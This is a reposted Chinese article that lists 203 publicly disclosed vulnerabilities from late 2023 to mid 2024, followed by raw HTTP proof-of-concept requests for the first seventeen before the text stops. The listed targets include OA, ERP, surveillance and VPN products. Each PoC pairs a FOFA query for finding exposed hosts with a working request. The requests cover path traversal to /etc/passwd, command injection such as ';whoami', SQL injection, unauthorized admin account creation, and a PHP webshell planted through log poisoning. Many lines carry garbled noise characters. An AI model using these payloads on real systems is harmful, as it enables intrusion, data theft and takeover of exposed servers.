互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
4 w) s8 K) P- j道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界
2 q$ ?. Y( k- W& F$ ?
发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

$ \: ?' v# `+ V6 C2 A漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
) X5 M' z2 M  j
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
# m; {4 C; [8 K8 u- j

/ y9 }9 v( D9 D, p: V声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
# |! x/ ?& q9 g; G; p* M
. K1 z2 k/ X* d有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。


! M2 r( X5 x+ w8 F) \6 i
& Q# H8 b  p$ \5 ~目录

01
) g& X  K4 g+ B7 j4 v1 C$ p/ C/ g' Y. W
1. StarRocks MPP数据库未授权访问
- Y9 d) \% h7 D* {; I- V2. Casdoor系统static任意文件读取
6 }  a5 A" [6 I) H4 j3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
+ T5 ^7 |5 Z( C' p+ V5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
# q. R4 j+ O8 h- q10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
- y4 J1 ?, A4 q# y+ u11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
$ l6 @7 R" _1 m4 J5 O13. 红帆iOffice ioFileDown任意文件读取
2 w3 I7 ~0 e( [- M% e, w8 k14. 华夏ERP（jshERP）敏感信息泄露
" G6 Z7 e& O, p* _15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
8 Q2 s4 F) S! E( i17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
1 u; A. N% _' q9 U; U19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
( ]# x& V+ b5 u% h( Y: q20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
6 g. G; |4 L- [: ]22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
; a, r2 z7 F1 I! {+ V, M24. 用友NC 6.5 accept.jsp任意文件上传
4 B" w- Y  x6 J5 A25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
9 P* u+ S3 R8 X9 I: I# {* m1 M27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
  o, z' k, w. e% N. o. c( b29. 用友NC down/bill SQL注入
: r5 C( q* a* {! N30. 用友NC importPml SQL注入
0 m9 W: @( Y! h  Q31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
9 Y: J3 B  D# X+ P33. 用友NC downTax/download SQL注入
1 H- O) o' [$ X! v34. 用友NC warningDetailInfo接口SQL注入
: m: n% }0 P5 g; U) H% f35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
) o' ]1 ?0 j& N6 I  W7 \" K37. 用友NC-Cloud IUpdateService XXE
' Q' w; y( ]' T& a38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
! V5 P% m8 m; N3 L' D40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
4 H4 n, Z) J8 z- |3 K+ G# |8 Y45. 用友GRP-U8 ufgovbank XXE
. y& c  [3 e& [, w46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
( S$ S2 r" J9 q% v/ r% s; L" E49. 用友U8 CRM系统uploadfile.php接口任意文件上传
4 L  n1 M" z2 J+ n. ~6 ^" R$ T50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
% Y  k  q4 t( P52. 泛微E-Office json_common.php sql注入
) P" r# N& ]$ o7 V  {, a* U53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
- g/ z! r' l7 F3 [3 }0 J* f& c' n56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
9 Z, K; F# D4 s7 S/ M57. 畅捷通T+ keyEdit.aspx SQL注入
* W( ~" _  n6 {! |58. 畅捷通T+ KeyInfoList.aspx sql注入
5 @4 i& p& U( q. j1 v( Q59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
8 X8 z) t% W/ C% c62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
1 r! L0 a( Y! n8 f3 J- D65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
: y+ E6 `7 \, n67. 万户ezOFFICE wpsservlet任意文件上传
1 j" ]# n( e7 }1 w7 ~68. 万户ezOFFICE wf_printnum.jsp SQL注入
" U! r% M; g! a  w7 e  R7 k5 N69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
# \& Z/ P; B0 x' K9 R+ H72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
0 e. I0 D: E* f! x+ E6 Y76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
! G" H1 E( \2 @79. BYTEVALUE 百为流控路由器远程命令执行
1 c2 V% n, e: r( N( A" e80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
7 a0 ?8 Y; M, @3 n82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
- d2 m5 R& N% o# n85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
4 Z- v# I& O! U4 ~8 m88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
' |6 F6 [% ]  T89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
7 M. d  D: w/ X) q0 L/ }7 k) ]104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
9 {! ?5 \, y- [105. SpringBlade v3.2.0 export-user SQL 注入
) I' W1 h/ L2 \: Q- D8 J) _5 E106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
: B& N  N0 i/ o/ m* C. ~: O7 @; l108. D-Tale 3.9.0 SSRF
( m9 M6 g0 Y4 N0 C) B: @109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
! Y" ^8 @' c6 @9 R0 C. a111. WordPress Plugin HTML5 Video Player SQL注入
0 _! f  X( `2 y7 P3 a112. WordPress Plugin NotificationX SQL 注入
/ z; a2 Z1 T. W: N# j113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
; ]2 |) ~& p2 O; V; ?% I& L115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
' Z( c; B" T9 B& F* ~: G+ `. i117. WordPress LayerSlider插件SQL注入
! D4 r4 ?4 v0 p. g% f% ?118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
2 W$ ?5 ^- A9 `5 g$ v4 K121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
  D- B/ s# y3 V7 K# Z0 O126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
5 Z+ M; e5 y# m0 W5 o4 ?+ [128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
; `5 W' j+ E+ y% M) |' O) E130. Laykefu客服系统任意文件上传
/ s. s4 i  C4 a- [. T6 ~131. Mini-Tmall <=20231017 SQL注入
5 W! F7 x- t) c( `3 H! F! U3 O132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
9 b# b, Z: A% a; h133. H5 云商城 file.php 文件上传
7 G* O& n0 m8 B1 k0 h134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
6 U% B0 D: V6 R) r8 }1 E137. 福建科立迅通信指挥调度平台down_file.php sql注入
, O* e6 V# i' C. M138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
+ B( c2 M- A$ R/ s139. 福建科立讯通信指挥调度平台editemedia.php sql注入
- I; B: {$ l) A140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
5 y$ D3 \5 f* Q4 @+ k- H* j% v+ N143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
2 J& m5 |' G5 C! u. |1 g145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
" J" s4 Q$ {6 ~, ?- O0 W/ `148. CrushFTP 认证绕过模板注入
# Z7 p& A. s6 K! S( z149. AJ-Report开源数据大屏存在远程命令执行
( d8 e! N$ a' h3 O6 h, j150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
; l* \" M6 x: [% Y' w, p; _, `152. Progress Kemp LoadMaster 远程命令执行
, E9 t) y- c  {% Z8 G153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
  A2 \9 c3 Z0 u. _* U156. TBK DVR-4104/DVR-4216 操作系统命令注入
) H  Y  N: i2 U1 H( m  f157. 美特CRM upload.jsp 任意文件上传
6 y1 ?" |; Q" k( b2 o9 N158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
7 |# z# S5 \: v160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
$ R, z- U, O- Y- N$ K165. OrangeHRM 3.3.3 SQL 注入
( \; z6 B$ n) D3 _1 N" y166. 中成科信票务管理平台SeatMapHandler SQL注入
$ |6 l5 W- m/ |, S167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
1 y/ z3 M9 ]6 t! q" m- U7 T170. 宏景EHR DisplayExcelCustomReport 任意文件读取
  p! K8 |) \. }& O* Y2 Q/ h171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
' z0 v" o$ s: ^0 v176. 电信网关配置管理系统 rewrite.php 文件上传
; B% u+ y- f; V+ Q* j; S177. H3C路由器敏感信息泄露
$ C" }. o6 f9 @$ |' |178. H3C校园网自助服务系统-flexfileupload-任意文件上传
. z8 |( o2 D# V6 r" X: ~179. 建文工程管理系统存在任意文件读取
6 O( C9 \0 Z& v/ J180. 帮管客 CRM jiliyu SQL注入
/ F( f3 b2 ^2 k181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
( B5 I3 E% u* O182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
/ s) d2 l0 e: {. n8 I183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
  a: H7 i+ K' P- a. |184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
& f% C0 `$ }# x1 \9 C4 {: I188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
( ^2 I  q& h8 [8 L! o+ R190. 短视频矩阵营销系统 poihuoqu 任意文件读取
4 d, a1 a0 `4 p: A191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
( g6 a4 J0 _  _. o: i. v192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
4 k" [4 a1 v; C! X, l: F3 @193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
2 n. s) _$ J4 B; A' M198.  阿里云盘 WebDAV 命令注入
0 x5 G: y! z/ w' b199. cockpit系统assetsmanager_upload接口 文件上传
3 ~( ~+ E& K) o200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
6 n2 F. P9 m' _7 s3 U" k  |* x203. 红海云EHR PtFjk 文件上传
' o/ e; ~8 x: k! r0 f/ e: N
POC列表

, U7 G. {- g: }9 S02
, c& D2 T, S7 i* p  B" e
. s" J) e0 T3 y# ~8 X6 f% y1. StarRocks MPP数据库未授权访问
% ^! a# Z. ^' I& NFOFA ：title="StarRocks"
: p1 G4 R% q) ~8 W2 b, bGET /mem_tracker HTTP/1.1
) `- u8 t/ b# X8 Y3 S$ S0 gHost: URL
/ R7 [3 X+ x* n" k6 a2 W+ Z
4 W4 t0 `$ T8 a; x
6 ]) v( `4 B: k4 `* I2. Casdoor系统static任意文件读取
) m8 U; J* {) ?' {) aFOFA ：title="Casdoor"
  D2 Z' B$ a3 F; ?GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
2 E) U% q6 F" w$ yAccept-Encoding: gzip

- I* h+ T& O! }: ~( m( v- J
3. EasyCVR智能边缘网关 userlist 信息泄漏
. O% e4 J: v3 i2 U/ q+ Y  PFOFA ：title="EasyCVR"
, J  Q, g* k% k: LGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
1 p6 `- |: F. E. _8 hHost: xx.xx.xx.xx

: s, {1 D/ h! l! B: T
4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"
7 h4 Q% I) a, g, D; m1 u
password更改为自己的密码md5
# V3 M, g0 q7 K6 }POST /api/v1/adduser HTTP/1.1
Host: your-ip
5 o4 t( r4 L' ?  C/ ?Content-Type: application/x-www-form-urlencoded; charset=UTF-8
/ B. \) M( `# b1 \0 j8 a9 C! n
/ f" w+ Y2 \. ~) F9 V/ y9 `+ [name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

: s" G- @, ?0 }3 E* k" M; E
5. NUUO NVR 视频存储管理设备远程命令执行
' w' l+ B+ G5 d# k# S1 TFOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
+ M, S% F9 l; y4 qHost: xx.xx.xx.xx

( {& w5 [! p6 Z# g$ ]! ~3 x
" j0 o: M* N/ S6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
6 t4 X2 ~/ {- S# B( J( S

4 l7 _" a  k3 @& X4 r& o7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
& h% l7 m& _6 f; IGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
# U+ m0 e  f  J# d

8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
$ F4 t$ }1 @6 t$ p3 e1 Y. H默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
' E( S! y- C0 ~( }8 u# I! _9 V6 EHost: x.x.x.x
$ P9 D. y" |; i2 RCookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
7 J4 @3 {) h+ R- eUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

# S$ Y) w( J( K8 ^------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"

- X' K$ j+ `" [2 M%s
% E( q. x$ t3 Q+ T* B------WebKitFormBoundaryxbgjoytz
4 l6 a9 Q  j2 ]8 v4 `Content-Disposition: form-data; name="wifiRebootrange"
7 a' r, ~6 U2 ?: s
12:00; id;
, m) e% f1 y( T------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"

%s:
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"

  L- i3 a* I9 z1 t8 t
------WebKitFormBoundaryxbgjoytz--


- R' |% P, Q/ c7 l# {9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
+ u6 ^4 J5 n6 a+ \6 q# m9 r# QHost: x.x.x.x
2 U* y# A* s% Y# J& O. W

payload为下列语句的二次Url编码

% X/ _% y7 H0 T$ X/ g% v' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

7 K, t  Y& c. |/ I文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
2 N2 @4 }/ b4 G$ HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
4 {$ l5 E" e: G; q/ sContent-Length: 197
& n: [$ G% v* y: ?: d% EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
' |- Y3 i( g' `) |2 I  o9 MAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
5 d& P7 X% P/ ?) `% x1 s1 ^
------WebKitFormBoundaryxdgaqmqu
+ I7 c( [" j! Y# j; s# WContent-Disposition: form-data; name="file"filename="icfitnya.txt"
. v  R9 z* u# X/ Y3 OContent-Type: text/html
# v* W9 _& w! p/ `* m5 t1 ^
5 w. P  W  N0 x0 y, A3 gjmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--

' @1 @$ W  t3 s- R
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
" F+ w& Y# T* C" V4 x/ Y: RGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
; b; m, I( r* h' }4 HPragma: no-cache
) f( G. |( q1 T7 ?9 DCache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
2 h" t) [* x0 `  V. P1 A1 CConnection: close
! g3 ~- o! m, f7 d* ]: r5 J

12. Jorani < 1.0.2 远程命令执行
7 W1 }# n2 {/ ^! ~' uFOFA：title="Jorani"
6 M. Y% \" A: Q. t第一步先拿到cookie
GET /session/login HTTP/1.1
7 B& f# H) L4 [9 l% m. c3 j2 mHost: 192.168.190.30
- S4 F+ {! \% ^- q1 ?1 ?User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
% |+ n1 O" u' X/ A9 G7 ~4 Z% YConnection: close
Accept-Encoding: gzip

7 L( |* p: ?6 A" l( D
响应中csrf_cookie_jorani用于后续请求
/ h# r4 V- @1 [  `6 N- FHTTP/1.1 200 OK
: H9 |* `# r8 M( }! O  P7 QConnection: close
Cache-Control: no-store, no-cache, must-revalidate
% c9 Q+ N: K2 f. Y. k  d6 ~Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
! K1 L5 O4 {4 ^% k) xExpires: Thu, 19 Nov 1981 08:52:00 GMT
1 j/ O; u/ Y3 U/ j6 q3 r: [Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
- f* K5 j$ N" t5 qVary: Accept-Encoding
( I" i" \4 j8 c) l
: }4 \8 L8 Q1 |& K/ W+ t
POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
Host: 192.168.190.30
( ?5 ]( `; I6 m* [1 [7 UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
2 [4 N2 M+ X/ Q6 `5 EConnection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
1 b1 M+ x5 M# r: ^Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip
. r6 J/ f9 j: Y# h
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

. ?  K. \8 \/ m* C" w4 }9 a

向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
& y. [2 b2 ?9 S# y3 W+ M1 |Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
% ?' _3 J5 b8 s  j  c2 z1 vConnection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
" z' F* D1 [' VAccept-Encoding: gzip
$ s: r* D. n7 \7 q2 l6 Z9 ?; R
# \4 I1 Q6 V( T) u' J  K
8 @2 R6 t9 I$ u13. 红帆iOffice ioFileDown任意文件读取
, @! a& A" J4 `. I: F2 _FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
- J, p3 O* r2 B6 h/ J, tAccept: */*
  S0 U6 I, A. J7 r- d5 M% dAccept-Encoding: gzip
% W+ b, D0 {1 P  b: Q

14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
4 h) P/ z9 n: r2 m* oConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

  v8 k; I; j4 A4 p
* Q; Q6 |( E7 @' T5 H: T) T15. 华夏ERP getAllList信息泄露
CVE-2024-0490
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
4 A8 V3 a+ t1 k7 D  iGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
$ M7 g1 Q) v8 [/ HAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
5 p' K; h' l: Z: {sec-ch-ua-platform: Windows
Accept-Encoding: gzip

3 u% O- X0 f; z7 y
4 x1 H2 ]1 \5 @$ P: F7 D16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
' S2 X' M! g( G& ?; P& m9 w9 y! Dpoc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
6 m! ]5 c# o4 s+ Q, q: B/ iUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
0 @7 e. |, [9 |4 B, q' MAccept-Language: en
Accept-Encoding: gzip
8 K  J5 C: K% O; ]6 j
2 S  H9 ~( z" V0 e; Z; \# }
) ]. S8 T- V* G. f, g" P17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
9 l7 g" N0 ?( y( RPOST /portal/services/itcBulletin?wsdl HTTP/1.1
